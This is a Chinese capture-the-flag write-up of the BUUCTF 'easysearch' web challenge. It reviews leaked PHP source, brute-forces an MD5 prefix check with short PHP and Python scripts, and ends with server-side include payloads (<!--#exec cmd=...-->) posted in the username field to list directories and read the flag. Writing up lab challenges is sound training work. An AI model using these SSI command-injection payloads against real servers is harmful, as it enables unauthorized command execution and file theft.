BUUCTF WEB easysearch

原创

显哥无敌 于 2022-01-07 11:19:49 发布 1788 收藏

分类专栏： BUUCTF 文章标签： web安全

本文链接：https://blog.csdn.net/qq_41696858/article/details/122360550

由于buuctf独特的防扫机制，建议加上 -s -t参数，等个10分钟

查看index.php.swp查看源码

```php
<?php
 ob_start();
 function get_hash(){
  $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
  $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_ra
nd(0,73)];//Random 5 times
  $content = uniqid().$random;
  return sha1($content);
 }
    header("Content-Type: text/html;charset=utf-8");
 ***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
   ***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
   echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";

    }else
    {
 ***
    }
 ***
?>
```

经典源码审计，我们的利用点在哪里呢？如果我们带过去的username是会有回显的，所以利用点在这里

```
<h1>Hello,'.$_POST['username'].'</h1>
```

那么我们需要绕过一个if，然后利用shtml文件输出我们想要的结果，先说这个if循环

```
$admin == substr(md5($_POST['password']),0,6)
```

经典找符合条件的MD5写脚本吧，撞库吧

```
<?php
for($i=0;$i<10000000;$i++){
    $result=md5($i);
    if(substr($result,0,6)=='6d0bc1'){
        echo "i find the result"+$i;
        break;
    }
}
?>
```

PYTHON版本：

```
from hashlib import md5

for i in range(10000000):
    if md5(str(i).encode('utf-8')).hexdigest()[:6] == '6d0bc1':
        print(i)
```

撞出来一个2020666
那么绕过了if过后就是看看如何命令执行
百度shtml命令执行
找到了这个：
https://www.cnblogs.com/yuzly/p/11226439.html
命令格式：`<!--#exec cmd="命令"-->`
这样所有逻辑就都缕清了，干就完了
先POST:username=1&password=2020666,出现welcome to manage system
外层if成功绕过，那么返给我们的shtml路径在哪呢，找啊找，在response header找到了Url is here
访问url路径，成功回显1
那么就说明这样没错了
继续换命令就行了

```
username=<!--#exec cmd="ls ../"-->&password=2020666
```

最后payload:

```
username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=2020666
```

参考视频链接：https://www.bilibili.com/video/bv1zL411V7Bt